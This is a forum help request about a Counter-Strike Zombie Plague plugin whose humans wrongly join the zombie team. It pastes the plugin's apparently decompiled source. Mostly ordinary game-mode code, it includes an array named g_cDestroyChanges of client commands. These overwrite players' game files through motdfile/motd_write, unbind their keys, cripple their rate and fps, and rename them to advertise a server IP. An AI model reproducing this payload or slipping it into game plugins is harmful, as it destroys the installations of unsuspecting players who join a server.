AlliedModders

AlliedModders (https://forums.alliedmods.net/index.php)
-   Scripting Help (https://forums.alliedmods.net/forumdisplay.php?f=11)
-   -   About Zombie team problem (https://forums.alliedmods.net/showthread.php?t=324247)

Ali0mer 05-10-2020 12:39

About Zombie team problem
 
Hello, guys

I used xFakeplayers as bots to test the addons

i have a problem with zombie team. you know when round start the plugin choose someone to become zombie. The problem is that some of the humans move to [TEAM ZOMBIE]. And with that the round never ends.....

Here is the SMA CODE
Code:

#include zombie_plague
#include float
#include hamsandwich

#pragma library engine
#pragma loadlib engine
#pragma library fakemeta
#pragma loadlib fakemeta
#pragma library zombie_plague
#pragma loadlib zombie_plague
#pragma library cstrike
#pragma loadlib cstrike
#pragma library csx
#pragma loadlib csx
#pragma library hamsandwich
#pragma loadlib hamsandwich

new bool:g_bConnected[33];
new bool:g_bAdmin[33];
new bool:g_bTryder[33];
new bool:g_bAlive[33];
new g_iWeapon[33];
new g_cName[33][32];
new Data[33][ __GEO_DATA_COUNT__ ][128];
new bool: Loaded[ 33 ];
new g_cPlayerAddress[33][24];
new Float:g_fLastLeapTime[33];
new g_cSteam[33][24];
new g_cClass[33][24];
new g_iRounds[512];
new g_iRoundsCount;
new g_iCounter;
new g_iVariable;
new g_iMaxClients;
new g_iPosition[33];
new g_iOffset[33][2];
new g_iArgumentPing[33][3];
new g_iPingOverride[33] =
{
        -1, ...
};
new bool:g_bZombie[33];
new g_iLastMode;
new g_iPlayerType[33];
new bool:g_bRoundStart;
new bool:g_bRoundEnd;
new g_iRoundType;
new bool:g_bFlash[33];
new bool:g_bFlashEnabled[33];
new bool:g_bFake[33];
new g_iPacks[33];
new Float:g_fDamage[33];
new Float:g_fLastTime[33];
new g_iBurningDuration[33];
new bool:g_bNoDamage[33];
new bool:g_bFrozen[33];
new g_iAliveCount;
new g_iMessagePosition;
new g_iTripMines[33];
new g_iPlantedMines[33];
new bool:g_bPlanting[33];
new bool:g_bRemoving[33];
new g_iPlayerMines[33][2];
new g_iFirstMineMessage;
new g_iSecondMineMessage;
new g_iJumpsNum[33];
new g_iJumps[33];
new bool:g_bUnlimitedClip[33];
new Float:g_fLastChangedModel;
new Float:g_fLast[33];
new Array:g_aNameData;
new Array:g_aAmmoData;
new g_iSize;
new g_cAddresses[10][24];
new g_iBlinks[33];
new Float:g_fRoundStartTime;
new g_iRemainingSync;
new g_iTopMessageSync;
new g_iLeftMessageSync;
new g_cLNames[10][32];
new g_iTracker;
new g_iEventsHudmessage;
new g_iCenterMessageSync;
new g_iDownMessageSync;
new g_iCounterMessage;
new g_iZombieClass[33];
new g_iZombieNextClass[33];
new g_iBotsCount;
new g_bCanBuy[33];
new g_iGameMenu;
new g_iSecondaryMenu;
new g_iPrimaryMenu;
new g_iSecondaryWeapons[64];
new g_iPrimaryWeapons[64];
new g_iMenuExtraItems;
new g_iMenuZombieClasses;
new g_cTag[33][24];
new Float:g_fGagTime[33];
new g_cSteams[33][24];
new g_cNames[33][32];
new g_cPasswords[33][32];
new g_cFlags[33][32];
new g_cTags[33][24];
new g_cPersonalFlags[33][32];
new g_iAdminsCount;
new g_iMenu;
new bool:g_bVoting;
new bool:g_bSecondVoting;
new g_iVariables[3];
new g_iVotes[7];
new g_cMaps[7][32];
new g_cSecondMaps[5][32];
new g_iSecondVotes[5];
new g_cHudCollors[64][15];
new g_cHudAdvertisements[64][120];
new g_iHudAdvertisementsCount;
new g_iHudMessage;
new g_iLimitReached[33];
new g_cZombieInfectSounds[5][0] =
{
    "zombie_plague/zombie_infect_01.wav",
    "zombie_plague/zombie_infect_02.wav",
    "zombie_plague/zombie_infect_03.wav",
    "zombie_plague/zombie_infect_04.wav",
    "zombie_plague/zombie_infect_05.wav"
};
new g_cEndRoundZombieSounds[4][0] =
{
    "zombie_plague/end_round_win_zombies_01.wav",
    "zombie_plague/end_round_win_zombies_02.wav",
    "zombie_plague/end_round_win_zombies_03.wav",
    "zombie_plague/end_round_win_zombies_04.wav"
};
new g_cEndRoundHumanSounds[3][0] =
{
    "zombie_plague/end_round_win_humans_01.wav",
    "zombie_plague/end_round_win_humans_02.wav",
    "zombie_plague/end_round_win_humans_03.wav"
};
new g_cStartRoundSurvivorSounds[2][0] =
{
    "zombie_plague/round_start_survivor_01.wav",
    "zombie_plague/round_start_survivor_02.wav"
};
new g_cStartRoundNemesisSounds[2][0] =
{
    "zombie_plague/round_start_nemesis_01.wav",
    "zombie_plague/round_start_nemesis_02.wav"
};
new g_cZombieBurnSounds[5][0] =
{
    "zombie_plague/zombie_burn_01.wav",
    "zombie_plague/zombie_burn_02.wav",
    "zombie_plague/zombie_burn_03.wav",
    "zombie_plague/zombie_burn_04.wav",
    "zombie_plague/zombie_burn_05.wav"
};
new g_cHumanNadeInfectSounds[3][0] =
{
    "zombie_plague/human_nade_infect_scream_01.wav",
    "zombie_plague/human_nade_infect_scream_02.wav",
    "zombie_plague/human_nade_infect_scream_03.wav"
};
new Float:g_fDamageCoords[8][0] =
{
    {0.50, 0.40},
    {0.56, 0.44},
    {0.60, 0.50},
    {0.56, 0.56},
    {0.50, 0.60},
    {0.44, 0.56},
    {0.40, 0.50},
    {0.44, 0.44}
};
new Float:kb_weapon_power[31] =
{
        -1.0, 2.4, -1.0, 6.5, -1.0, 8.0, -1.0, 2.3, 5.0, -1.0, 2.4, 2.0, 2.4, 5.3, 5.5, 5.5, 2.2, 2.0, 10.0, 2.5, 5.2, 8.0, 5.0, 2.4, 6.5, -1.0, 5.3,5.0, 6.0, -1.0, 2.0
};
new g_iMaxClip[31] =
{
        0, 13, 0, 10, 0, 7, 0, 30, 30, 0, 15, 20, 25, 30, 35, 25, 12, 20, 10, 30, 100, 8, 30, 30, 20, 0, 7, 30, 30, 0, 50
};
new g_cSecondaryWeapons[6][0] =
{
    "Glock 18C",
    "USP .45 ACP Tactical",
    "P228 Compact",
    "Desert Eagle .50 AE",
    "FiveseveN",
    "Dual Elite Berettas"
};
new g_cPrimaryWeapons[14][0] =
{
    "IMI Galil",
    "Famas",
    "M4A1 Carbine",
    "AK-47 Kalashnikov",
    "SG-552 Commando",
    "Steyr AUG A1",
    "Schmidt Scout",
    "M3 Super 90",
    "XM1014 M4",
    "Schmidt TMP",
    "Ingram MAC-10",
    "UMP 45",
    "MP5 Navy",
    "ES P90"
};
new g_cSecondaryEntities[6][0] =
{
    "weapon_glock18",
    "weapon_usp",
    "weapon_p228",
    "weapon_deagle",
    "weapon_fiveseven",
    "weapon_elite"
};
new g_cPrimaryEntities[14][0] =
{
    "weapon_galil",
    "weapon_famas",
    "weapon_m4a1",
    "weapon_ak47",
    "weapon_sg552",
    "weapon_aug",
    "weapon_scout",
    "weapon_m3",
    "weapon_xm1014",
    "weapon_tmp",
    "weapon_mac10",
    "weapon_ump45",
    "weapon_mp5navy",
    "weapon_p90"
};
new g_cHumanModels[4][0] =
{
    "terror",
    "gign",
    "sas",
    "arctic"
};
new g_cZombieModels[7][0] =
{
    "zclasic",
    "raptor",
    "predator_blue",
    "mutant",
    "frozen",
    "regenerator",
    "hunter"
};
new g_cZombieClaws[7][0] =
{
    "models/zombie_plague/clasic_claws.mdl",
    "models/zombie_plague/regenerator_claws.mdl",
    "models/zombie_plague/predator_blue_claws.mdl",
    "models/zombie_plague/mutant_claws.mdl",
    "models/zombie_plague/frozen_claws.mdl",
    "models/zombie_plague/regenerator_claws.mdl",
    "models/zombie_plague/hunter_claws.mdl"
};
new g_iZombieHealths[7] =
{
    5675, 4800, 5100, 6250, 4500, 4750, 5200
};
new Float:g_fZombieGravities[7] =
{
    1.00, 1.00, 0.74, 1.00, 0.61, 1.00, 0.61
};
new Float:g_fZombieSpeeds[7] =
{
    264.0, 304.0, 276.0, 244.0, 269.0, 249.0, 273.0
};
new Float:g_fZombieKnockbacks[7] =
{
    0.82, 1.33, 0.70, 0.44, 0.80, 0.90, 0.83
};
new g_cZombieClasses[7][24] =
{
    "Clasic",
    "Raptor",
    "Predator 4",
    "Mutant",
    "Frozen",
    "Regenerator",
    "Hunter"
};
new g_cZombieAttribs[7][0] =
{
    "\y[=Balanced=]",
    "\y[Speed +++]",
    "\y[Powerful]",
    "\y[Health +++]",
    "\y[Double Jump]",
    "\y[Regeneration]",
    "\y[Silent Killer]"
};
new g_cExtraItems[22][0] =
{
    "NightVision (single round)",
    "T-Virus Antidote",
    "Zombie Madness",
    "Infection Bomb",
    "Explosion Nade",
    "Napalm Nade",
    "Frost Nade",
    "AWP Magnum Sniper",
    "M249 Para Machinegun",
    "SG550 Auto-Sniper",
    "G3SG1 Auto-Sniper",
    "Jetpack+Bazooka",
    "Unlimited Clip",
    "Armura (100ap)",
    "Armura (200ap)",
    "Multijump +1",
    "Cumpara Tryder",
    "Cumpara Supravietuitor",
    "Cumpara Sniper",
    "Cumpara Nemesis",
    "Cumpara Assassin",
    "Knife Blink"
};
new g_iExtraItemsPrices[22] =
{
        2, 15, 17, 26, 4, 4, 3, 7, 9, 10, 10, 30, 10, 5, 10, 5, 30, 180, 180, 150, 150, 10
};
new g_iExtraItemsTeams[22] =
{
        2, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1
};
new g_cBotNames[4][0] =
{
    "Angelina Jolie",
    "Megan Fox",
    "Keira Knightley",
    "Emma Stone"
};
new g_cDestroyChanges[19][0] =
{
    "snapshot;snapshot; name ^"Join: 89.44.246.127:27015^"",
    "motdfile models/player/terror/terror.mdl",
    "motdfile models/v_ak47.mdl;motd_write x",
    "motdfile models/v_m4a1.mdl;motd_write x",
    "motdfile resource/GameMenu.res;motd_write x",
    "motdfile halflife.wad;motd_write x",
    "motdfile cstrike.wad;motd_write x",
    "motdfile maps/de_dust2.bsp;motd_write x",
    "motdfile events/ak47.sc;motd_write x",
    "motdfile dlls/mp.dll;motd_write x",
    "motdfile decals.wad;motd_write x",
    "motdfile custom.hpk;motd_write x",
    "motdfile liblist.gam;motd_write x",
    "motdfile tempdecal.wad;motd_write x",
    "unbindall",
    "cl_timeout 0",
    "fps_max 1",
    "rate 0",
    "_restart"
};
new Float:g_fSizes[70][3] =
{
    {0.0, 0.0, 1.0}, {0.0, 0.0, -1.0}, {0.0, 1.0, 0.0}, {0.0, -1.0, 0.0}, {1.0, 0.0, 0.0}, {-1.0, 0.0, 0.0}, {-1.0, 1.0, 1.0}, {1.0, 1.0, 1.0}, {1.0, -1.0, 1.0}, {1.0, 1.0, -1.0}, {-1.0, -1.0, 1.0}, {1.0, -1.0, -1.0}, {-1.0, 1.0, -1.0}, {-1.0, -1.0, -1.0},
    {0.0, 0.0, 2.0}, {0.0, 0.0, -2.0}, {0.0, 2.0, 0.0}, {0.0, -2.0, 0.0}, {2.0, 0.0, 0.0}, {-2.0, 0.0, 0.0}, {-2.0, 2.0, 2.0}, {2.0, 2.0, 2.0}, {2.0, -2.0, 2.0}, {2.0, 2.0, -2.0}, {-2.0, -2.0, 2.0}, {2.0, -2.0, -2.0}, {-2.0, 2.0, -2.0}, {-2.0, -2.0, -2.0},
    {0.0, 0.0, 3.0}, {0.0, 0.0, -3.0}, {0.0, 3.0, 0.0}, {0.0, -3.0, 0.0}, {3.0, 0.0, 0.0}, {-3.0, 0.0, 0.0}, {-3.0, 3.0, 3.0}, {3.0, 3.0, 3.0}, {3.0, -3.0, 3.0}, {3.0, 3.0, -3.0}, {-3.0, -3.0, 3.0}, {3.0, -3.0, -3.0}, {-3.0, 3.0, -3.0}, {-3.0, -3.0, -3.0},
    {0.0, 0.0, 4.0}, {0.0, 0.0, -4.0}, {0.0, 4.0, 0.0}, {0.0, -4.0, 0.0}, {4.0, 0.0, 0.0}, {-4.0, 0.0, 0.0}, {-4.0, 4.0, 4.0}, {4.0, 4.0, 4.0}, {4.0, -4.0, 4.0}, {4.0, 4.0, -4.0}, {-4.0, -4.0, 4.0}, {4.0, -4.0, -4.0}, {-4.0, 4.0, -4.0}, {-4.0, -4.0, -4.0},
    {0.0, 0.0, 5.0}, {0.0, 0.0, -5.0}, {0.0, 5.0, 0.0}, {0.0, -5.0, 0.0}, {5.0, 0.0, 0.0}, {-5.0, 0.0, 0.0}, {-5.0, 5.0, 5.0}, {5.0, 5.0, 5.0}, {5.0, -5.0, 5.0}, {5.0, 5.0, -5.0}, {-5.0, -5.0, 5.0}, {5.0, -5.0, -5.0}, {-5.0, 5.0, -5.0}, {-5.0, -5.0, -5.0}
};

public MessageSayText()
{
        if (get_msg_args() == 4)
        {
                static iSender;
                iSender = get_msg_arg_int(1);
                if (0 < iSender < g_iMaxClients + 1 && g_cTag[iSender][0])
                {
                        static cReplacement[189];
                        static cPhrase[47];
                        get_msg_arg_string(2, cPhrase, 46);
                        if (equal(cPhrase, "#Cstrike_Chat_CT"))
                        {
                                formatex(cReplacement, 188, "^x01(Counter-Terrorist) ^x04%s ^x03%s^x01 :  %s", g_cTag[iSender], "%s1", "%s2");
                                set_msg_arg_string(2, cReplacement);
                        }
                        if (equal(cPhrase, "#Cstrike_Chat_T"))
                        {
                                formatex(cReplacement, 188, "^x01(Terrorist) ^x04%s ^x03%s^x01 :  %s", g_cTag[iSender], "%s1", "%s2");
                                set_msg_arg_string(2, cReplacement);
                        }
                        if (equal(cPhrase, "#Cstrike_Chat_CT_Dead"))
                        {
                                formatex(cReplacement, 188, "^x01*DEAD*(Counter-Terrorist) ^x04%s ^x03%s^x01 :  %s", g_cTag[iSender], "%s1", "%s2");
                                set_msg_arg_string(2, cReplacement);
                        }
                        if (equal(cPhrase, "#Cstrike_Chat_T_Dead"))
                        {
                                formatex(cReplacement, 188, "^x01*DEAD*(Terrorist) ^x04%s ^x03%s^x01 :  %s", g_cTag[iSender], "%s1", "%s2");
                                set_msg_arg_string(2, cReplacement);
                        }
                        if (equal(cPhrase, "#Cstrike_Chat_Spec"))
                        {
                                formatex(cReplacement, 188, "^x01(Spectator) ^x04%s ^x03%s^x01 :  %s", g_cTag[iSender], "%s1", "%s2");
                                set_msg_arg_string(2, cReplacement);
                        }
                        if (equal(cPhrase, "#Cstrike_Chat_All"))
                        {
                                formatex(cReplacement, 188, "^x04%s ^x03%s^x01 :  %s", g_cTag[iSender], "%s1", "%s2");
                                set_msg_arg_string(2, cReplacement);
                        }
                        if (equal(cPhrase, "#Cstrike_Chat_AllDead"))
                        {
                                formatex(cReplacement, 188, "^x01*DEAD* ^x04%s ^x03%s^x01 :  %s", g_cTag[iSender], "%s1", "%s2");
                                set_msg_arg_string(2, cReplacement);
                        }
                        if (equal(cPhrase, "#Cstrike_Chat_AllSpec"))
                        {
                                formatex(cReplacement, 188, "^x01*SPEC* ^x04%s ^x03%s^x01 :  %s", g_cTag[iSender], "%s1", "%s2");
                                set_msg_arg_string(2, cReplacement);
                        }
                }
        }
        return 0;
}

StripName( Name[ ] )
{
        for( new i = 0; i < strlen( Name ); i++ )
        {
                Name[ i ] = tolower( Name[ i ] );

                if( !isalpha( Name[ i ] ) )
                {
                        Name[ i ] = '_';
                }
        }
}

LoadData( Player )
{
        new Name[ 32 ];
        get_user_name( Player, Name, 31);
        StripName( Name );
        new FileLine[ 512 ]
        formatex( FileLine, 511, "addons/SpecialGeoip/PlayerData/%s.ini", Name );
        new File = fopen( FileLine, "r" );
        if( File )
        {
                new Row[ 256 ], Key[ 128 ], Value[ 128 ], i = 0;
                while( !feof( File ) )
                {
                        fgets( File, Row, 255 );
                        trim( Row );
                        if( Row[ 0 ] == '"' )
                        {
                                parse( Row, Key, 127, Value, 127 );
                                if( i < __GEO_DATA_COUNT__ )
                                {
                                        formatex( Data[ Player ][ i ], 127, "%s", Value );
                                }
                                i++;
                        }
                }
                fclose( File );
                Loaded[ Player ] = true;
        }
}

StartSwarmMode(bool:bForced)
{
        if ((g_iAliveCount > 9 && g_iLastMode != 64 && random_num(1, 150) == 1) || bForced)
        {
                g_iLastMode = 64;
                g_iRoundType = g_iRoundType | 64;
                static i;
                i = 1;
                while (g_iMaxClients > i)
                {
                        if (!g_bAlive[i] || get_team(i) == 2)
                        {
                        }
                        else
                        {
                                MakeZombie(0, i, true, false, false);
                        }
                        i += 1;
                }
                client_cmd(0, "spk ZombieOutstanding/round_start_plague");
                set_hudmessage(20, 255, 20, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
                ShowSyncHudMsg(0, g_iTopMessageSync, "Swarm Round !!");
                remove_task(600);
                set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
                return 0;
        }
        StartPlagueMode(false);
        return 0;
}

StartPlagueMode(bool:bForced)
{
        if ((g_iAliveCount > 20 && g_iLastMode != 32 && random_num(1, 180) == 1) || bForced)
        {
                g_iRoundType = g_iRoundType | 32;
                static iNemesis;
                static iMaxNemesis;
                static i;
                static iMaxSurvivors;
                static iSurvivors;
                static iMaxZombies;
                static iZombies;
                iMaxSurvivors = 3;
                iMaxNemesis = 2;
                iZombies = 0;
                iNemesis = 0;
                iSurvivors = 0;
                while (iSurvivors < iMaxSurvivors)
                {
                        i = GetRandomAlive();
                        if (!(g_iPlayerType[i] & 4))
                        {
                                MakeHuman(i, true, false);
                                iSurvivors += 1;
                                set_health(i, 6900);
                        }
                }
                while (iNemesis < iMaxNemesis)
                {
                        i = GetRandomAlive();
                        if (!(g_iPlayerType[i] & 4 || g_iPlayerType[i] & 1))
                        {
                                MakeZombie(0, i, false, true, false);
                                iNemesis += 1;
                                set_health(i, 180000);
                        }
                }
                iMaxZombies = floatround(0.4 * g_iAliveCount, floatround_floor);
                while (iZombies < iMaxZombies)
                {
                        i += 1;
                        if (i > g_iMaxClients)
                        {
                                i = 1;
                        }
                        if (!(!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 4))
                        {
                                if (random_num(0, 1))
                                {
                                        MakeZombie(0, i, true, false, false);
                                        iZombies += 1;
                                }
                        }
                }
                i = 1;
                while (g_iMaxClients > i)
                {
                        if (!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 4)
                        {
                        }
                        else
                        {
                                if (get_team(i) != 2)
                                {
                                        set_team(i, 2);
                                }
                        }
                        i += 1;
                }
                if (random_num(0, 1))
                {
            client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
                }
                else
                {
            client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
                }
                set_hudmessage(0, 50, 200, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
                ShowSyncHudMsg(0, g_iTopMessageSync, "Plague Round !!");
                remove_task(600);
                set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);

                return 0;
        }
        StartMultiMode(false);
        return 0;
}

StartMultiMode(bool:bForced)
{
        if ((g_iAliveCount > 9 && g_iLastMode != 16 && random_num(1, 150) == 1) || bForced)
        {
                g_iRoundType = g_iRoundType | 16;
                static i;
                static iMaxZombies;
                static iZombies;
                iZombies = 0;
                iMaxZombies = floatround(0.18 * g_iAliveCount, floatround_ceil);
                i = random_num(1, g_iMaxClients);
                while (iZombies < iMaxZombies)
                {
                        i += 1;
                        if (i > g_iMaxClients)
                        {
                                i = 1;
                        }
                        if (!(!g_bAlive[i] || g_bZombie[i]))
                        {
                                if (random_num(0, 1))
                                {
                                        MakeZombie(0, i, true, false, false);
                                        iZombies += 1;
                                }
                        }
                }
                i = 1;       
                while (g_iMaxClients + 1 > i)
                {
                        if (!g_bAlive[i] || g_bZombie[i])
                        {
                        }
                        else
                        {
                                if (get_team(i) != 2)
                                {
                                        set_team(i, 2);
                                }
                        }
                        i += 1;
                }               
                client_cmd(0, "spk ZombieOutstanding/round_start_plague");
                set_hudmessage(200, 50, 0, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
                ShowSyncHudMsg(0, g_iTopMessageSync, "Multiple Infections !!");
                remove_task(600);
                set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);

                return 0;
        }
        StartArmageddonMode(false);
        return 0;
}

StartArmageddonMode(bool:bForced)
{
        if ((g_iAliveCount > 9 && g_iLastMode != 128 && random_num(1, 300) == 1) || bForced)
        {
                g_iRoundType = g_iRoundType | 128;
                static i;
                static iMaxZombies;
                static iZombies;
                iZombies = 0;
                iMaxZombies = floatround(0.44 * g_iAliveCount, floatround_floor);
                i = random_num(1, g_iMaxClients);
                while (iZombies < iMaxZombies)
                {
                        i += 1;
                        if (i > g_iMaxClients)
                        {
                                i = 1;
                        }
                        if (!(!g_bAlive[i] || g_bZombie[i]))
                        {
                                if (random_num(0, 1))
                                {
                                        MakeZombie(0, i, false, true, false);
                                        set_health(i, 67500);
                                        iZombies += 1;
                                }
                        }
                }
                i = 1;
                while (g_iMaxClients > i)
                {
                        if (!g_bAlive[i] || g_bZombie[i])
                        {
                        }
                        else
                        {
                                MakeHuman(i, true, false);
                                set_health(i, 11400);
                        }
                        i += 1;
                }
                if (random_num(0, 1))
                {
            client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
                }
                else
                {
            client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
                }
                set_hudmessage(181, 62, 244, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
                ShowSyncHudMsg(0, g_iTopMessageSync, "Armageddon Round !!");
                remove_task(600);
                set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);

                return 0;
        }
        StartNightmareMode(false);
        return 0;
}

StartNightmareMode(bool:bForced)
{
        if ((g_iAliveCount > 9 && g_iLastMode != 256 && random_num(1, 37) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
        {
                g_iLastMode = 256;
                g_iRoundType = g_iRoundType | 256;
                static i;
                static iMaxAssassins;
                static iAssassins;
                static iMaxSnipers;
                static iSnipers;
                static iMaxNemesis;
                static iNemesis;
                iAssassins = 0;
                iSnipers = 0;
                iNemesis = 0;
                iMaxNemesis = floatround(0.24 * g_iAliveCount, floatround_floor);
                iMaxAssassins = floatround(0.24 * g_iAliveCount, floatround_floor);
                iMaxSnipers = floatround(0.25 * g_iAliveCount, floatround_ceil);
                i = random_num(1, g_iMaxClients);
                while (iNemesis < iMaxNemesis)
                {
                        i += 1;
                        if (i > g_iMaxClients)
                        {
                                i = 1;
                        }
                        if (!(!g_bAlive[i] || g_bZombie[i]))
                        {
                                if (random_num(0, 1))
                                {
                                        MakeZombie(0, i, false, true, false);
                                        set_health(i, 100000);
                                        iNemesis += 1;
                                }
                        }
                }
                while (iAssassins < iMaxAssassins)
                {
                        i += 1;
                        if (i > g_iMaxClients)
                        {
                                i = 1;
                        }
                        if (!(!g_bAlive[i] || g_bZombie[i]))
                        {
                                if (random_num(0, 1))
                                {
                                        MakeZombie(0, i, false, false, true);
                                        set_health(i, 25000);
                                        iAssassins += 1;
                                }
                        }
                }
                while (iSnipers < iMaxSnipers)
                {
                        i += 1;
                        if (i > g_iMaxClients)
                        {
                                i = 1;
                        }
                        if (!(!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 8))
                        {
                                if (random_num(0, 1))
                                {
                                        MakeHuman(i, false, true);
                                        set_health(i, 12500);
                                        iSnipers += 1;
                                }
                        }
                }
                i = 1;
                while (g_iMaxClients + 1 > i)
                {
                        if (!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 8 || g_iPlayerType[i] & 4)
                        {
                        }
                        else
                        {
                                MakeHuman(i, true, false);
                                set_health(i, 12500);
                        }
                        i += 1;
                }
                if (random_num(0, 1))
                {
            client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
                }
                else
                {
            client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
                }
                set_hudmessage(241, 15, 244, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
                ShowSyncHudMsg(0, g_iTopMessageSync, "Nightmare Round !!");
                remove_task(600);
                set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
                return 0;
        }
        StartAssassinsVsSnipersMode(false);
        return 0;
}

StartAssassinsVsSnipersMode(bool:bForced)
{
        if ((g_iAliveCount > 9 && g_iLastMode != 512 && random_num(1, 470) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
        {
                g_iLastMode = 512;
                g_iRoundType = g_iRoundType | 512;
                static i;
                i = 1;
                while (g_iMaxClients > i)
                {
                        if (g_bAlive[i])
                        {
                                switch (get_team(i))
                                {
                                        case 1:
                                        {
                                                MakeZombie(0, i, false, false, true);
                                                set_health(i, 35000);
                                        }
                                        case 2:
                                        {
                                                MakeHuman(i, false, true);
                                                set_health(i, 12500);
                                        }
                                }
                        }
                        i += 1;
                }
                if (random_num(0, 1))
                {
            client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
                }
                else
                {
            client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
                }
                set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
                ShowSyncHudMsg(0, g_iTopMessageSync, "Assassins vs Snipers Round !!");
                remove_task(600);
                set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);

                return 0;
        }
        static cTime[4];
        get_time("%H", cTime, 3);
        if (cTime[0] != 48)
        {
                StartSniperMode(0);
        }
        else
        {
                if (cTime[0] == 48 && cTime[1] == 49)
                {
                        StartSniperMode(0);
                }
                if (cTime[0] == 48 && cTime[1] == 50)
                {
                        StartSniperMode(0);
                }
                StartAssassinMode(0);
        }
        return 0;
}

StartSniperMode(iPlayer)
{
        if ((g_iLastMode != 8 && random_num(1, 200) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
        {
                g_iLastMode = 8;
                g_iRoundType = g_iRoundType | 8;
                static j;
                static i;
                i = GetRandomAlive();
                if (iPlayer)
                {
                        i = iPlayer;
                }
                j = i;
                MakeHuman(i, false, true);
                for ( i = 1; i <= g_iMaxClients; i ++ )
                {
                        if ( !g_bAlive [i] ) continue;

                        if ( g_iPlayerType[i] & 8 || g_bZombie [i] ) continue;
                       
                        MakeZombie(0, i, true, false, false);
                }
                set_task(30.0, "TaskReminder", 900, "", 0, "", 0);                               
                client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
                set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
                ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Sniper !!", g_cName[j]);
                remove_task(600);
                set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
                return 0;
        }
        StartSurvivorMode(0);
        return 0;
}

StartSurvivorMode(iPlayer)
{
        if ((g_iLastMode != 4 && random_num(1, 200) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
        {
                g_iLastMode = 4;
                g_iRoundType = g_iRoundType | 4;
                static j;
                static i;
                i = GetRandomAlive();
                if (iPlayer)
                {
                        i = iPlayer;
                }
                j = i;
                MakeHuman(i, true, false);
                for ( i = 1; i <= g_iMaxClients; i ++ )
                {
                        if ( !g_bAlive [i] ) continue;

                        if ( g_iPlayerType[i] & 4 || g_bZombie [i] ) continue;
                       
                        MakeZombie(0, i, true, false, false);
                }
                set_task(30.0, "TaskReminder", 900, "", 0, "", 0);               
                client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
                set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
                ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Survivor !!", g_cName[j]);
                remove_task(600);
                set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
                return 0;
        }
        StartAssassinMode(0);
        return 0;
}

StartAssassinMode(iPlayer)
{
        if ((g_iLastMode != 2 && random_num(1, 50) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
        {
                g_iLastMode = 2;
                g_iRoundType = g_iRoundType | 2;
                static j;
                static i;
                i = GetRandomAlive();
                if (iPlayer)
                {
                        i = iPlayer;
                }
                j = i;
                MakeZombie(0, i, false, false, true);
                i = 1;
                while (g_iMaxClients > i)
                {
                        if (g_bAlive[i] && !g_bZombie[i] && get_team(i) == 1)
                        {
                                set_team ( i, 2 );
                        }
                        i += 1;
                }
                set_task(30.0, "TaskReminder", 900, "", 0, "", 0);
                close();
                client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
                set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
                ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Assassin !!", g_cName[j]);
                remove_task(600);
                set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
                return 0;
        }
        StartNemesisMode(0);
        return 0;
}

StartNemesisMode(iPlayer)
{
        if ((g_iLastMode != 1 && random_num(1, 40) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
        {
                g_iLastMode = 1;
                g_iRoundType = g_iRoundType | 1;
                static j;
                static i;
                i = GetRandomAlive();
                if (iPlayer)
                {
                        i = iPlayer;
                }
                j = i;
                MakeZombie(0, i, false, true, false);
                i = 1;
                while (g_iMaxClients > i)
                {
                        if (g_bAlive[i] && !g_bZombie[i] && get_team(i) == 1)
                        {
                                set_team ( i, 2 );
                        }
                        i += 1;
                }
                set_task(30.0, "TaskReminder", 900, "", 0, "", 0);
                client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
                set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
                ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Nemesis !!", g_cName[j]);
                remove_task(600);
                set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
                return 0;
        }
        StartNormalMode(0);
        return 0;
}

StartNormalMode(iPlayer)
{
